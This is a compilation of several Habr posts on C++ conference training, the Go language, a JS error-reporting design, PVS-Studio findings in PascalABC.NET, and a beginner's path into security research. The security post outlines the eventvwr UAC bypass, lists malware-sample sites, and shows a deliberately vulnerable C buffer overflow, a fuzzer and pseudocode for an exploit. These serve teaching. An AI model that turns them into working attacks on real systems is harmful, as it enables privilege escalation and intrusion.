**Антон:** Да, мы сейчас в Яндекс.Такси весьма активно используем Boost.Stacktrace, он весьма хорош при тех же эксепшнах, например. Есть у тебя что-то совсем общее — работа с JSON, скажем. Пользователь в какой-то момент обращается к тому полю JSON, которого нет. Просто кинуть исключение? Ну, где-то выше оно поймается. А вообще, пользователь где это вызвал? Там у пользователя во всем коде работы с JSON, где именно то поле, куда он не достучался? В какой момент он его запросил? И Stacktrace отлично помогает понимать, что и где не так, где накосячил пользователь.
**Павел:** Часто версии, которые ты используешь на работе начинают разъезжаться с тем, что есть в опенсорсе? Или ты постоянно пытаешься переливать фичи туда и обратно?
**Антон:** Я переливаю фичи туда-обратно. Разумеется, с разрешения руководства. И скажу, что это очень полезное взаимодействие. Так, например, в Яндекс.Такси мы заметили, что не хватает функции toString() для Stacktrace. Она есть в предложении на стандартизацию, она везде описана, но в Boost ее нет. При том, что мне казалось, что она там есть, я всё предложение по стандартизации сдирал с Boost. Добавил в Boost. Все счастливы.
**Павел:** Кстати, возвращаясь к рабочей группе. Наверное, ты после C++ Siberia сразу отправляешься на следующую встречу?
**Антон:** Да, я завтра утром сажусь в самолет, 40 часов полета, и в тот же день прилетаю на Кону. На повестке встречи у всего комитета — решить, как будет выглядеть С++ 20. Что в него попадет. Последняя остановка перед тем, как С++ 20 останется только баг-фиксить. На повестке дня сейчас модули и корутины.
**Павел:** Две важные фичи, про которые идут долгие усердные споры.
**Антон:** С модулями еще более-менее всё понятно, вроде их примут, а вот с корутинами совсем непонятно, потому что как раз к этому заседанию появилось третье конкурирующее предложение по корутинам. Оно совсем другое, совсем отличается от того, что есть в Coroutines TS, и там есть сильные моменты. Есть, конечно, и слабые. Непонятно, как оно вообще пойдет. И как вообще люди настроены к корутинам.
**Павел:** Какие у тебя планы на следующий С++ Russia? Ждать ли от тебя доклада?
**Антон:** Да, обязательно. Что-нибудь придумаю. Может, про Пилораму.
**Сергей:** Хорошо, спасибо большое, друзья! Не буду вас больше задерживать. Всем пока! Увидимся на [C++ Russia](https://cppconf.ru).
Пара слов о тренингах на конференции C++ Russia
===============================================
Как верно сказал Павел в этом интервью, тренинги и мастер-классы имеют неоспоримое преимущество: у ведущего есть возможность в течение нескольких часов донести тему полностью, а не пытаться уложиться в 50 минут как на обычном докладе.
Потихоньку мастер-классы становятся традицией. Впервые мы провели их в 2017 году, потом обкатали на C++ Siberia. В этом году будет три мастер-класса. С ведущими двух из них вы уже познакомились в этом интервью.
Мастер-класс — это шесть часов, сочетающие в себе теоретическую информацию и практические занятия. Небольшое количество участников обеспечивает индивидуальную работу с каждым. Это, в первую очередь, конечно, практика. Так что на всех мастер-классах потребуется ноутбук с установленным современным компилятором C++.
На выбор предложены три мастер-класса: «Applied functional programming in C++» проведёт Ivan Čukić, а «Continuous integration для C++ разработчика» и «Шустрый и современный C++» — дело рук наших разработчиков, Павла Филонова и Антона Полухина.
**Мастер-класс Ивана** не для начального уровня, он подойдет мидлам, которые хотят открыть пошире двери восприятия. Иван — научный сотрудник Белградского Университета, мейнтейнер KActivities, Contour daemon, Lancelot и других KDE проектов. Речь пойдет, как можно понять, о функциональном программировании. На всякий случай участникам рекомендуется иметь последние версии GCC и Clang. Чуть позже мы выложим VirtualBox образ со всем необходимым. На мастер классе будут затронуты следующие темы: далека ли STL от функционального программирования, что такое функциональные объекты, std::invoke и монады, монады, монады. И ещё немного монад.
С разработчиком-исследователем в Лаборатории Касперского **Павлом Филоновым** вы уже знакомы по этому интервью. Он предложит участникам построить свой CI с conan и travis. Также Павел объяснит метод непрерывной интеграции, а в практической части научит решать задачи на примерах домашнего проекта/работы над Open Source и рабочего проекта с закрытым исходным кодом.
Естественно, вы должны уметь программировать на C++, принести ноутбук с любой ОС, один из основных компиляторов, свежие cmake (нужно понимать синтаксис CMakeLists.txt), git, python 3 и pip3 и пачка учётных записей. Подробней об этом есть [в описании на сайте](https://cppconf.ru/trainings/continuous-integration-dlya-razrabotchika-c/).
И, наконец, **мастер-класс от [antoshkka](https://habr.com/ru/users/antoshkka/)** посвящён навыкам правильной оптимизации. На всякий случай, напоминаю: он — старший разработчик сервиса Яндекс.Такси, представитель РГ 21 на международных заседаниях комитета по стандартизации C++, автор принятых предложений к стандарту языка, разработчик Boost, и т.д. Антон рассмотрит примеры с частыми ошибками преждевременной оптимизации, далее участники рассмотрят алгоритмы и сложности стандартной библиотеки, контейнеры с особенностями, Move семантику и её неожиданное поведение, многопоточность. Так как курс практический, то все темы будут исследоваться экспериментально, используя C++ библиотеку для бенчмарков google benchmark. Для курса понадобится всего лишь базовые знания C++ и свежая версия компилятора с поддержкой C++11.
Всё вышенаписанное конечно — только краткая справка для ознакомления. Единственный настоящий источник истины — это [сайт конференции](https://cppconf.ru/trainings/?utm_source=habr&utm_medium=441800), где всё подробно и чётко изложено. Например, там чётко перечислен необходимый софт на вашем ноутбуке вместе с его версиями.
> Конференция C++ Russia пройдёт **19-20 апреля 2019 г** в Москве. Приобрести билеты можно [на официальном сайте](https://cppconf.ru/registration/?utm_source=habr&utm_medium=441800). **Важно:** с первого марта цены на билеты повысятся. Если хотите купить по февральским ценам, стоит это сделать сейчас. | https://habr.com/ru/post/441800/ | null | ru | null |
# Google Go = Python и C++
Google только что объявил выпуск нового языка с открытым исходным кодом
под названием Go. Компания говорит что, Go эксперементальный язык и
он объединяет производительность и безопасность компилируемых языков(как С++)
со скорость разработки динамических языков (как Python).
Оффициальный талисман языка GO — суслик:
Для подробностей смотрим **<http://golang.org/>**
Для низкого старта вот как выглядит Hello World в GO:
`package main
import fmt “fmt” // Package implementing formatted I/O.
func main() {
fmt.Printf(”Hello, world; or Καλημέρα κόσμε; or こんにちは 世界n”);
}` | https://habr.com/ru/post/74913/ | null | ru | null |
# Телепатия на стероидах в js/node.js
Этап поддержки продуктов отнимает много сил и нервов. Путь от «я нажимаю а оно не работает» до решения проблемы, даже у первоклассного телепата, может занимать много времени. Времени, в течение которого клиент/начальник будет зол и недоволен.
Чтобы сократить время решения проблемы, нужно оперативно узнавать об ошибках, иметь как можно более точную информацию о том, что к ней привело и, желательно, собирать всё вместе.
О своём решении я и расскажу под катом.
1. Задачи
=========
После обсуждения было принято решение создать механизм, собирающий с клиента и сервера информацию об ошибках, и позволяющий передавать или обрабатывать данные для последующего реагирования. Механизм должен давать возможность в будущем добавлять способы работы с данными без лишнего переписывания кода и позволять из конфига менять способы работы, порядок и т.п.
Ключевые точки:
* Ловить ошибки как на frontend так и на backend
* Возможность добавить несколько обработчиков ошибок в т.ч. в будущем
* Большой объем отладочной информации
* Гибкая настройка для каждого проекта
* Высокая надёжность
2. Решение
==========
Было решено при запуске сервера производить загрузку специальных обработчиков ошибок — драйверов, порядок и приоритет которых будет загружен из конфига. Ошибки на frontend будут посылаться на сервер, где будут обрабатываться вместе с остальными.
Основная идея в том, что при возникновении ошибки, и по мере отмотки стека до глобальной области, в класс ошибки будет добавляться отладочная информация при помощи расставленных сборщиков. При выпадении в глобальную область, ошибка будет перехватываться и обрабатываться при помощи драйвера ошибки.
### 2.1 Класс ошибки
Был написан свой класс ошибки, наследуемый от стандартного. С конструктором, принимающим ошибку, возможностью указать «уровень тревоги» и добавлением отладочных данных. Класс расположен в едином для front- и backend файле инструментов.
*Здесь и далее, в коде использованы библиотеки co, socket.io и sugar.js*
**Полный код класса**
```
app.Error = function Error(error,lastFn){
if(error && error.name && error.message && error.stack){в случае, если в конструктор передана другая ошибка
this.name=error.name;
this.message=error.message;
this.stack=error.stack;
this.clueData=error.clueData||[];
this._alarmLvl=error._alarmLvl||'trivial';
this._side=error._side || (module ? "backend" : "frontend");//определение стороны
return;
}
if(!app.isString(error)) error='unknown error';
this.name='Error';
this.message=error;
this._alarmLvl='trivial';
this._side=module ? "backend" : "frontend";
this.clueData=[];
if (Error.captureStackTrace) {
Error.captureStackTrace(this, app.isFunction(lastFn)? lastFn : this.constructor);
} else {
this.stack = (new Error()).stack.split('\n').removeAt(1).join();//удаление из стека вызова конструктора класса ошибки
}
};
app.Error.prototype = Object.create(Error.prototype);
app.Error.prototype.constructor = app.Error;
app.Error.prototype.setFatal = function () {//getter/setters для уровня тревоги
this._alarmLvl='fatal';
return this;
};
app.Error.prototype.setTrivial = function () {
this._alarmLvl='trivial';
return this;
};
app.Error.prototype.setWarning = function () {
this._alarmLvl='warning';
return this;
};
app.Error.prototype.getAlarmLevel = function () {
return this._alarmLvl;
};
app.Error.prototype.addClueData = function(name,data){//добавление отладочной информации
var dataObj={};
dataObj[name]=data;
this.clueData.push(dataObj);
return this;
};
```
И сразу пример использования для promise:
```
socket.on(fullName, function (values) {
<...>
method(values)//Выполняем функцию api
.then(<...>)
.catch(function (error) {//Ловим ошибку
throw new app.Error(error)//Оборачиваем в наш класс и пробрасываем дальше по стеку
.setFatal()//Указываем "уровень тревоги"
.addClueData('api', {//Добавляем отладочные данные
fullName,
values,
handshake: socket.handshake
})
});
});
```
Для try-catch поступаем аналогичным образом.
### 2.2 Frontend
Для frontend загвоздка в том, что ошибка может произойти ещё до того, как загрузится библиотека транспорта (socket.io в данном случае).
Обходим эту проблему, собирая ошибки во временную переменную. Для перехвата ошибок из глобальной области используем window.onerror:
```
app.errorForSending=[];
app.sendError = function (error) {//Функция отправки ошибки на сервер
app.io.emit('server error send', new app.Error(error));
};
window.onerror = function (message, source, lineno, colno, error) {//Перехватываем ошибку из глобальной области
app.errorForSending.push(//Записываем в массив для ошибок.
new app.Error(error)
.setFatal());//Сразу присваиваем высокий уровень тревоги, ведь ошибка произошла во время загрузки
};
app.events.on('socket.io ready', ()=> {//После готовности транспортной библиотеки
window.onerror = function (message, source, lineno, colno, error) {//Перезаписываем коллбек
app.sendError(new app.Error(error).setFatal());
};
app.errorForSending.forEach((error)=> {//Отправляем все ошибки, собранные ранее
app.sendError(error);
});
delete app.errorForSending;
});
app.events.on('client ready', ()=> {//после загрузки записываем окончательную версию обработчика
window.onerror = function (message, source, lineno, colno, error) {
app.sendError(error);
};
});
```
Остаётся проблема в том, что некоторые библиотеки любят не выбрасывать ошибки, а просто ~~гади~~ выводить в консоль. Перезапишем функции консоли для перехвата данных.
```
function wrapConsole(name, action) {
console['$' + name] = console[name];//сохраняем исходный метод
console[name] = function () {
console['$' + name](...arguments);//вызываем исходный метод
app.sendError(
new app.Error(`From console.${name}: ` + [].join.call(arguments, '' ),//запишем в сообщение ошибки консольный вывод
console[name])//Сократим стек до вызова этой функции(будет работать только в движке v8)
.addClueData('console', {//добавим данные о имени консоли и исходных аргументах
consoleMethod: name,
arg : Array.create(arguments)
})[action]());//вызовем соответствующий уровню сеттер
};
}
wrapConsole('error', 'setTrivial');
wrapConsole('warn', 'setWarning');
wrapConsole('info', 'setWarning');
```
### 2.3 Server
Нам осталось самое интересное, для всех, кто дочитал до этого момента и не умер от усталости. Ведь осталось реализовать не просто инициализацию и выполнение драйверов, получающих ошибки,
* Всё должно работать как можно быстрее, даже если каждому драйверу в процессе инициализации/обработки ошибки, нужно «поговорить по душам» с другим сервером или вычислить ответ на главный вопрос вселенной жизни и всего такого;
* Гибкая система запасных и дублирующих драйверов;
* Динамически запускать запасные драйвера, в случае отказа предыдущих;
* Исключения, возникшие во время работы драйверов, отправлять по работающим драйверам;
* Ловить и обрабатывать ошибки с frontend, а также выпадающие в глобальную область node.js.
Весь код можно посмотреть на гитхабе (ссылка внизу), а сейчас пройдёмся по основным задачам:
1. *Параллельный запуск* для скорости
Для этих целей используем yield [...](или Promise.all(...)) с учётом того, что каждая функция из массива *не должна выбрасывать ошибку* иначе, если функций с ошибками несколько, мы не сможем обработать их все
2. *Гибкая конфигурация*
Все драйвера находятся в «пакете драйверов», которые располагаются в массиве по приоритету. Ошибка рассылается сразу на весь пакет драйверов, если весь пакет не работает, система переходит к следующему и т.д.
3. *Динамический запуск*
При инициализации помечаем все драйвера как «not started».
При запуске первый пакет драйверов помечаем либо как «started», либо как «bad».
При отправке, в текущем пакете пропускаем «bad», отправляем в «started» и запускаем «not started». Драйвера, выкинувшие ошибку, помечаем как bad и идём дальше. Если все драйвера в текущем пакете помечены как bad переходим к следующему пакету.
4. *Отправка ошибок драйверов в ещё живых драйверах*
При возникновении ошибок в самих драйверах ошибок(немного тавтологии), записываем их в специальный массив. После нахождения первого живого драйвера, отправляем через него ошибки драйверов и саму ошибку(если драйвера падали при отправке ошибки) и ошибки драйверов.
5. *Ловим ошибки с front/backend*
Создаем специальный api для frontend и ловим исключения node.js через process.on('uncaughtException',fn) и process.on('unhandledRejection',fn)
3. Заключение
=============
Изложенный механизм сбора и отправки сообщений об ошибках позволит мгновенно реагировать на ошибки, ещё до того, как конечный пользователь, и обойтись без допроса конечного пользователя на предмет последних нажатых кнопок.
Если задуматься о развитии, то в будущем можно добавить несколько полезных фич:
* Изменение политики отключения неработающих драйверов
Например, добавить возможность повторной проверки драйвера на работоспособность через некоторое время.
* Возможность вставки кода драйверов на frontend
Можно использовать для сбора дополнительной информации.
* Пресет логгирования
DRY для повторяющихся функций сбора общей информации(последние загруженные страницы, последние использованные api)
Рабочий пример можно посмотреть на [гитхабе](https://github.com/KotDaVinchi/DemoERSforHabr). За архитектуру прошу не ругать, пример делался методом удалить-из-проекта-всё-ненужное.
Буду рад комментариям. | https://habr.com/ru/post/307482/ | null | ru | null |
# Правильный путь становления безопасника: от ламера до практического эксплойтинга
Приветствую, тебя %хабраюзер%. Прочитал я тут статью на хабре [«Экзамен для будущих «русских хакеров» в Московском Политехе»](https://habrahabr.ru/post/320210/). И мой мозг вошел в бесконечный цикл непонимания происходящего. То ли я сейчас заглянул на школофорум «хакеров», то ли действительно на хабр. Уж извините, с таким подходом текущему поколению вайтов просто некому будет заменить.
В данной статье я хотел бы написать, как по моему скромному мнению (ранее багхантера на стороне блэков) стоило бы действительно начинать путь. И ни к в коем случае не с Kali linux ( как оказываются преподают в политехе столицы.
Если вам интересен отчасти и мой путь, добро пожаловать под кат.
Многие шаги у пользователей хабра уже выполнены, поэтому можете смело пропускать до своего уровня. В основном пост будет касаться Windows, так как именно эта ОС является моей специализацией, как наиболее распространенная. Я рассмотрю тут код на примере уязвимости переполнения буфера, но до готового эксплойта не дойду, это отдельная и очень обширная тема.
### Шаг 0. От ламера до нуба
В первую очередь следовало бы изучить операционную систему в которой вы работаете. Как бы банально это не звучало, но знания ОС действительно иногда преподносят такие вещи, которые не приподносит реверс.
*Например, обход UAC'а в Windows 10 был обнаружен благодаря одному procmon, который работал во время использования eventvwr. Забавно, но сам факт повышения прав заключался в том, что сначала eventvwr искал ключ реестра в одной ветке, не находя ее искал в другой. По факту в первом месте обычно никогда ничего не обнаруживалось, в итоге достаточно было лишь записать туда путь до своего файла и запустить eventvwr как сразу приложение запускалось с повышенными правами.*
Тут не было отревершено ни байта, однако исследователи обнаружили обход UAC'а.
Так что первое — изучите операционную систему. Досконально. Почитайте разные книжки по ее устройству. Конкретно по Windows могу посоветовать Марка Руссиновича «Внутреннее устройство Windows». Книга от автора таких популярных утилит, как autoruns и procmon
Для Windows: поиграйтесь с такими программами, как RegMon и FileMon. Они позволяют делать слепки ОС «до» и «после» и сравнивать. Посмотрите, какие изменения вносят разные параметры вроде изменения настроек ОС и подобных.
Поставьте виртуальную машину и попробуйте «убить» ОС самыми извращенными способами, а потом это починить.
После этого можно опять вернуться к RegMon и FileMon и позапускать различные сэмплы малвари. После этого вы уже будете способны находить почти любую малварь просто по симптомам.
Малварь можно достать отсюда:
**Скрытый текст****Внимание! Сайты содержащие ссылки на вредоносные файлы**
**Переходите на свой страх и риск**
**Многая малварь написанная нашими не запускается на РУ машинах, ставьте на виртуалку ENG-машины без русской раскладки**
malwareblacklist.com
malwr.com (требуется регистрация)
kernelmode.info (обычно известная довольно малварь)
После того, как вы изучите операционную систему, в которой работаете — можно приступать дальше.
### Шаг 1. От нуба до разработчика
На данном этапе изучите какой-нибудь язык программирования. Например, python — он довольно хорош для новичка и в будущем пригодится вам в написании эксплойтов и фаззинга (что это рассмотрим далее).
После чего изучите си, он даст понимание работы с памятью, научит думать о производительности, а также полезен как нативный язык.
Далее язык ассемблера, хотя бы в общих принципах. Что такое регистры, что такое стек, основные инструкции. Полезно при реверсе, для чтения не требуется особо никаких особых знаниях.
В таком порядке: python, C/C++, assembler
### Шаг 2. От разработчика до хорошего разработчика
На данном этапе вы должны научиться отличать плохой код от хорошего. Научиться видеть ошибки, а также знать ассемблер.
Как проверить прошли ли вы этот шаг? Просто скажите к чему может привести следующий код:
```
#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include
void Encr(char \*in, char \*out, int key)
{
for (int i = 0; i < strlen(in); i++)
out[i] = in[i] + key;
}
int main(int argc, char \*argv[])
{
char EncryptedStr[10] = { 0 };
if (argc > 1)
{
Encr(argv[1], EncryptedStr, 5);
printf("Encrypted: %s\n", EncryptedStr);
}
return 0;
}
```
Данная программа получает в аргументах строку и шифрует ее алгоритмом цезаря с ключем 5, сохраняя результат в EncryptedStr.
Что в данном коде плохого и к чему оно может привести?
Ответ:
**Скрытый текст**Данная программа может привести к переполнению буфера, если передать строку длиной более 9 ( 10-й символ — нулевой ). Что перезапишет в стеке адрес возврата из функции и позволит выполнить произвольный код в памяти процесса. Если бы такое было в серверном ПО — это могло бы привести к тому, что неавторизованный пользователь мог бы исполнить на сервере любой код
Но этот код из 2000х. В данный момент дыру эксплуатировать сложно, ибо появились такие техники, как DEP, ASLR, Security-Cookies. Однако это тоже обходится. Можно почитать для примера, например, ret2libc
### Шаг 3. От хорошего разработчика к реверсеру
Посмотрим предыдущий пример в ассемблерном листинге при помощи IDA Pro
**Скрытый текст**
Как бы вы хорошо не шарили, но найти тут RCE сложно даже мне. А ведь примеры из жизни намного сложнее. Поэтому существуют специальные инструменты — фаззеры.
Что такое фаззер? Это ~~лазер из фильмов типа мазера~~ специальный софт, который флудит приложение неверными данными, чтобы найти нестандартное поведение. То есть мы можем написать такой скрипт, который во всех местах где принимаются входные данные будет отправлять рандомные данные и смотреть результат. Если результат привел к падению, то мы нашли уязвимость.
Например, для нашего приложения простейший фаззер выглядит так:
```
#/usr/bin/python
import subprocess
i = 0;
while True:
i += 1
if subprocess.call('test1.exe {0}'.format("A" * i), shell=True) != 0:
print 'Crashed with arguments: {0}'.format("A" * i)
break
print "Finished"
```
И вот результат:
**Скрытый текст**
Более подробно о фазерах можно читнуть [тут](https://xakep.ru/2010/07/19/52726/)
Таким образом, не имея ни исходного кода, ни навыков дизассемблирования можно найти уязвимость. Можно писать фаззеры, которые генерируют какие угодно входные данные.
### От реверсера к эксплойтеру
После можно начинать писать эксплойты.
Например, для нашего приложения простейший эксплойт будет выглядить в псевдокоде как-то так
```
#/usr/bin/python
import subprocess
subprocess.call('test1.exe '.format("A" * 10 + address + there_shellcode), shell=True);
```
Где address — адрес перезаписуемого буфера в памяти, а there\_shellcode — шеллкод, который исполняется при переполнении буфера.
Как конкретно это находится можно найти в гугле, я лишь дал напутствие.
### Вместо заключения
Мой вариант в отличии от приведенной перед катом статьи гораздо обширнее и практичнее. Однако и сложнее.
Следовать каким путем — путем скрипткидди, или путем эксплойтинга — выбирать только вам. | https://habr.com/ru/post/320286/ | null | ru | null |
# Re-checking PascalABC.NET
Welcome all fans of clean code! Today we analyze the PascalABC.NET project. In 2017, we already found errors in this project. We used two static analysis tools (more precisely, plugins for SonarQube): SonarC# and PVS-Studio. Today, we analyze this project with the latest version of the PVS-Studio analyzer for C#. Let's see what errors we can find today, especially when our analyzer has become more advanced and got new features: it can find more exquisite errors and potential vulnerabilities.
Introduction
------------
I have an interesting story about PascalABC.NET. Right after we published "[Analysis of PascalABC.NET using SonarQube plugins: SonarC# and PVS-Studio](https://pvs-studio.com/en/blog/posts/csharp/0492/)", we accidentally crossed paths with the developers at one conference. It looked like we did it on purpose: wrote an article about errors found in their project and went to the conference to discuss those errors with the developers. Of course, we never planned that, it was a coincidence. But it was funny. After that I was considering the idea of re-checking the project, but I didn't have time for that. Now the time has come.
PascalABC.NET is a modern implementation of the Pascal language on .NET. You can visit [the project's website](http://pascalabc.net/) to read the description and see that the project is developing. The latest version 3.8.1 was released in August 2021. Good news — it's no point in re-checking the "abandoned" project. This was an additional motivation to write this article. A developing project means that old errors are fixed, and the new ones appear.
For analysis, I took the [source code from GitHub](https://github.com/pascalabcnet/pascalabcnet) from 10.12.2021. Note that while I was writing the article the code may have changed. Please take this fact into account if you're going to check the source of PascalABC.NET yourself. By the way, you can easily [request](https://pvs-studio.com/pvs-studio/try-free/?utm_source=habr&utm_medium=articles&utm_content=pascalabc&utm_term=link_try-free) the PVS-Studio trial version. Don't forget about our new feature "[Best Warnings](https://pvs-studio.com/en/docs/manual/6532/)" which immediately shows the most interesting errors. This is important when you work with such large projects.
Unfortunately, many errors found in 2017 were never fixed. After publishing an article, we always send bug reports to the developers. However, only developers can fix those errors. This was an additional problem, since I had to exclude old errors from the report. Despite this, when re-checking the project, we managed to find some new and interesting errors. You can see them below.
Errors
------
Let's start with classic — copy-paste errors. Unbelievable, but developers make such errors over and over again. This means PVS-Studio will definitely have a job to do. Besides, such errors show an important advantage of static analysis tools: constant attention to detail. People don't always have it due to fatigue and other reasons.
[V3001](https://pvs-studio.com/en/docs/warnings/v3001/) There are identical sub-expressions to the left and to the right of the '||' operator. NETGenerator.cs 461
```
public class CompilerOptions
{
public enum PlatformTarget { x64, x86, AnyCPU,
dotnet5win, dotnet5linux, dotnet5macos };
....
}
....
bool IsDotnet5()
{
return
comp_opt.platformtarget ==
CompilerOptions.PlatformTarget.dotnet5win ||
comp_opt.platformtarget ==
CompilerOptions.PlatformTarget.dotnet5linux ||
comp_opt.platformtarget ==
CompilerOptions.PlatformTarget.dotnet5linux;
}
```
In this code fragment the developer re-compares the *IsDotnet5()* method with the value of enumeration *CompilerOptions.PlatformTarget.dotnet5linux*. If we look at the declaration of the *PlatformTarget* enumeration, we can assume that the code should look like this:
```
bool IsDotnet5()
{
return
comp_opt.platformtarget ==
CompilerOptions.PlatformTarget.dotnet5win ||
comp_opt.platformtarget ==
CompilerOptions.PlatformTarget.dotnet5linux ||
comp_opt.platformtarget ==
CompilerOptions.PlatformTarget.dotnet5macos;
}
```
Note that the code was formatted for readability. In the original version the entire *return* expression is written in one line.
[V3001](https://pvs-studio.com/en/docs/warnings/v3001/) There are identical sub-expressions 'ctn2.compiled\_type == TypeFactory.ObjectType' to the left and to the right of the '||' operator. NETGenerator.cs 8518
```
private void AssignToDereferenceNode(....)
{
....
if (.... && (ctn2.compiled_type == TypeFactory.ObjectType ||
(ctn2.compiled_type == TypeFactory.ObjectType ||
ctn2.compiled_type.IsInterface)))
....
}
```
Here the developer compares the same value with the *TypeFactory.ObjectType* value. The code was formatted once again. In the original version the *if* expression was written in one line. I think it's quite difficult for a person to notice problems in such code. It's hard to say how to fix this error, since the *TypeFactory* class has a lot of fields.
[V3001](https://pvs-studio.com/en/docs/warnings/v3001/) There are identical sub-expressions 'SK == SymKind.field' to the left and to the right of the '||' operator. LightScopeHelperClasses.cs 30
```
public enum SymKind { var, field, param, procname, funcname,
classname, recordname, interfacename };
....
public class SymInfoSyntax
{
public override string ToString()
{
....
if (SK == SymKind.var ||
SK == SymKind.field ||
SK == SymKind.field ||
SK == SymKind.param)
....
}
....
}
```
One of the comparisons *SK == SymKind.field* has a mistake in it. It should contain a different value of the *SymKind* enumeration. Maybe the developer who wrote this code fragment could explain what's going on.
[V3004](https://pvs-studio.com/en/docs/warnings/v3004/) [CWE-691] The 'then' statement is equivalent to the 'else' statement. SymbolTable.cs 870
```
private Scope FindClassScope(Scope scope)
{
while (scope != null && !(scope is ClassScope))
if(scope is ClassMethodScope)
scope = scope.TopScope;
else
scope = scope.TopScope;
return scope;
}
```
Different error pattern, same copy-paste: both code blocks of the *if* operator are identical. Here we also need the developer to inspect and fix this error.
[V3005](https://pvs-studio.com/en/docs/warnings/v3005/) The 'e' variable is assigned to itself. generics.cs 430
```
public static type_node determine_type(....)
{
....
try
{
return ....;
}
catch(Exception e)
{
e = e;
}
....
}
```
A bit weird code. It could be a copy-paste error, as well as an attempt to suppress a warning about an unused variable. Or it could be the consequence of refactoring. Perhaps earlier there was some external *e* variable relative to the *catch* block, and it was then deleted. Anyway, the code looks sloppy.
Besides copy-paste errors, I found other problems in the PascalABC.NET code.
[V3022](https://pvs-studio.com/en/docs/warnings/v3022/) [CWE-570] Expression 't != null' is always false. Visitor.cs 598
```
public void prepare_collection(....)
{
myTreeNode t;
....
if (t == null)
{
....
if (t != null)
t.Nodes.Add(tn);
else
nodes.Add(tn);
....
}
....
}
```
Did this happen after refactoring? Was the developer overly cautious or simply inattentive? As a result, the *then* branch of *t.Nodes.Add(tn)* in the *if* block is never executed. The code needs to be fixed.
[V3027](https://pvs-studio.com/en/docs/warnings/v3027/) [CWE-476] The variable 'fn.return\_value\_type' was utilized in the logical expression before it was verified against null in the same logical expression. NetHelper.cs 1109
```
private static function_node get_conversion(....)
{
....
function_node fn = si.sym_info as function_node;
if (.... || fn.return_value_type.original_generic == to || ....
&& fn.return_value_type != null && ....)
{
return fn;
}
....
}
```
The *fn.return\_value\_type* variable is dereferenced without *null* check. The author supposed that the variable could be *null* because it's checked explicitly.
[V3032](https://pvs-studio.com/en/docs/warnings/v3032/) [CWE-835] Waiting on this expression is unreliable, as compiler may optimize some of the variables. Use volatile variable(s) or synchronization primitives to avoid this. RemoteCompiler.cs 407
```
CompilerState compilerState = CompilerState.Reloading;
....
public string Compile()
{
....
compilerState = CompilerState.CompilationStarting;
....
while (compilerState != CompilerState.Ready)
Thread.Sleep(5);
....
}
```
An interesting error related to the compiler features. The problem may show itself in the release version: due to optimizations the *while* loop will be infinite. The peculiarities of this error and the fixing options are described in the [V3032](https://pvs-studio.com/en/docs/warnings/v3032/) documentation.
[V3043](https://pvs-studio.com/en/docs/warnings/v3043/) [CWE-483] The code's operational logic does not correspond with its formatting. The statement is indented to the right, but it is always executed. It is possible that curly brackets are missing. Compiler.cs 2196
```
public string Compile()
{
....
int n = 1;
try
{
n = 2;
....
if (File.Exists(pdb_file_name))
File.Delete(pdb_file_name);
n = 5;
....
}
....
}
```
It may seem that expression *n = 5* relates to the *if* block, but it's not. The code was badly formatted. This warning is just an example. A rare mistake that doesn't lead to error in this case. But this isn't always like that. There is a [section](https://pvs-studio.com/en/blog/examples/) on our website with a list of errors found in projects. This list has errors found with V3043 among many others. One of the V3043 errors listed there is from the PascalABC.NET project. I described it when I first checked the project in 2017. This error is similar to other errors, but it's more dangerous. You can click on the [link](https://pvs-studio.com/en/blog/examples/v3043/) and look at this error. Just scroll down a little to get to PascalABC.NET.
Before proceeding to the next error, I suggest you look at the code fragment and find an error yourself:
```
public static typed_expression
GetTempFunctionNodeForTypeInference(....)
{
....
for (int i = 0; i < def.formal_parameters.params_list.Count; i++)
{
....
for (int j = 0;
j < def.formal_parameters.params_list[i].idents.idents.Count;
j++)
{
var new_param = new common_parameter(....,
visitor.get_location(
def.formal_parameters.params_list[i].idents.idents[0]));
....
}
}
....
}
```
Have you found it? To be honest, even with the analyzer warning I didn't immediately understand the problem. And yes, the code was formatted for readability. The original version was less readable. Here's the analyzer's warning: [V3102](https://pvs-studio.com/en/docs/warnings/v3102/) Suspicious access to element of 'def.formal\_parameters.params\_list[i].idents.idents' object by a constant index inside a loop. LambdaHelper.cs 402
Look closely at the calculation of the *new\_param* variable's value. All iterations of the nested loop use access to the zero element of list def.formal\_parameters.params\_list[i].idents.idents[0]. Everything points out that the *j* index should have been used instead of 0.
Below is the last error I wanted to show you.
[V3146](https://pvs-studio.com/en/docs/warnings/v3146/) [CWE-476] Possible null dereference. The 'symbolInfo.FirstOrDefault()' can return default null value. SystemLibInitializer.cs 112
```
public class SymbolInfo
{
....
}
....
List symbolInfo = null;
....
public List SymbolInfo
{
get
{
if (symbolInfo != null && ....)
{
if (symbolInfo.FirstOrDefault().sym\_info is common\_type\_node)
....
}
}
}
```
Look at the condition of the second *if* block. The *symbolInfo* reference was checked for *null* earlier, no questions here. However, the developers forgot that the *FirstOrDefault()* method may return the default value (null) for the *SymbolInfo* type if the *symbolInfo* list does not contain any element. This will cause problems when we access the *sym\_info* property by a null reference.
Conclusion
----------
This is a small article. But this doesn't mean that PascalABC.NET has few errors. I described the most of those errors in 2017, but the developers never fixed them. After the last check the analyzer issued 400 warnings on the High level. On the Medium level — 1364 warnings. There are many same-type errors among them, so I see no point in describing them. The readers can see it themselves if they decide to check the PascalABC.NET project with [PVS-Studio](https://pvs-studio.com/pvs-studio/try-free/?utm_source=habr&utm_medium=articles&utm_content=pascalabc&utm_term=link_try-free) and search for errors I described in this and [previous](https://pvs-studio.com/en/blog/posts/csharp/0492/) articles.
In fact, late bug fixes in open-source code are a common problem. My teammate Andrey Karpov even wrote an article about that: "[1000 eyes that don't want to check open-source code](https://pvs-studio.com/en/blog/posts/cpp/0900/)".
I must also note that during the analysis I realized that the use of the analyzer can be inefficient and inconvenient from time to time. Indeed, it's really difficult to search for real errors among thousands of warnings. Besides, old errors aren't fixed, and the analyzer warnings are not suppressed. I don't think developers would want to do such hard work. I understand them.
In our opinion, the point of the static analyzer is in regular checks. The code must be checked right after it was written. If the analyzer finds errors in the code, they must be immediately fixed.
Let me remind you that modern static analyzers, including PVS-Studio, have a lot of opportunities for convenient work with large projects. Especially at the implementation stage with a large codebase. In this case, we recommend using suppression of all old warnings and working only with those issued for the new code (incremental analysis). Old errors can be corrected little by little, and they won't be displayed in the analyzer report. You can read about these features in articles "[Baselining analysis results (suppressing warnings for existing code)](https://pvs-studio.com/en/docs/manual/0032/)" and "[Incremental analysis mode in PVS-Studio](https://pvs-studio.com/en/docs/manual/0024/)".
Now I finish this article and wish you all clean code. Good luck. | https://habr.com/ru/post/647643/ | null | en | null |
